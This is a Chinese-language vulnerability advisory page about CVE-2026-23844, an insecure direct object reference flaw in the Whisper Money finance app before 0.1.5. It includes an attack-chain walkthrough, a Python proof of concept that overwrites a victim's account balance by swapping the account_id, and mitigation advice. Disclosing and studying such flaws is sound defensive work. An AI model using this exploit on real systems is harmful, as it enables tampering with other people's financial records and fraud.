IPBUF安全漏洞报告
English
CVE-2026-23844 CVSS 4.3 中危

CVE-2026-23844 Whisper Money不安全直接对象引用(IDOR)漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23844
漏洞类型
不安全直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Whisper Money

相关标签

IDOR不安全直接对象引用访问控制Whisper Money个人财务管理账户余额篡改CVSS 4.3中危漏洞

漏洞概述

Whisper Money是一款个人财务管理应用程序。该应用在0.1.5版本之前存在不安全直接对象引用(Insecure Direct Object Reference, IDOR)漏洞。由于应用程序对用户输入的验证不充分,攻击者可以通过修改请求中的参数值,访问或操作用户所属的其他银行账户数据。具体而言,低权限认证用户能够更新或创建其他用户银行账户的余额信息。此漏洞允许未经授权的账户余额修改,可能导致财务数据完整性受损,造成经济损失或欺诈行为。攻击者利用此漏洞无需特殊权限或用户交互,仅需发送特制HTTP请求即可触发。CVSS 3.1评分4.3分(中危),攻击向量为网络,复杂度低,需低权限认证,无用户交互要求。

技术细节

IDOR漏洞属于访问控制缺陷的一种,发生在应用程序使用用户提供的输入直接访问对象而未进行充分授权验证时。在Whisper Money应用中,账户余额更新或创建功能可能直接使用客户端传来的账户ID参数,而未验证该账户是否属于当前认证用户。攻击者可通过拦截HTTP请求,修改account_id或balance等参数值为目标用户的账户标识,从而实现跨用户账户操作。典型利用方式:攻击者登录自己的账户,抓取账户操作请求,将account_id替换为受害者的账户ID,修改balance参数值后发送请求。服务端因缺少所有权验证,会执行该操作并更新目标账户余额。此类漏洞常见于API端点未实施对象级权限检查的RESTful服务中。修复方案是在所有涉及敏感对象操作的接口中增加服务端授权验证,确保用户只能访问和操作属于自己的资源。

攻击链分析

STEP 1
步骤1
攻击者注册Whisper Money账户并登录,获取有效认证令牌
STEP 2
步骤2
攻击者访问账户余额管理功能,抓取HTTP请求数据包
STEP 3
步骤3
攻击者识别请求中的account_id等可预测参数,尝试修改为其他用户账户ID
STEP 4
步骤4
攻击者发送修改后的请求,服务端因缺少对象所有权验证而执行操作
STEP 5
步骤5
受害者账户余额被非法修改,攻击者完成IDOR攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-23844 PoC - IDOR in Whisper Money # Target: Whisper Money < 0.1.5 target_url = "http://target-server/api/accounts/update-balance" # Attacker credentials attacker_token = "attacker_auth_token_here" # Victim account ID (to be determined by attacker) victim_account_id = 12345 headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Malicious payload - update victim account balance payload = { "account_id": victim_account_id, "balance": 999999.99, "operation": "set" } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 200: result = response.json() print(f"[+] Exploit Success! Victim balance updated.") print(f"Response: {json.dumps(result, indent=2)}") else: print(f"[-] Exploit Failed. Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

Whisper Money < 0.1.5

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)在前端增加操作确认机制,对余额修改等敏感操作要求二次验证;2)限制单用户对不同账户的操作频率;3)启用账户操作异常告警;4)对API访问实施更严格的速率限制。但根本解决仍需升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表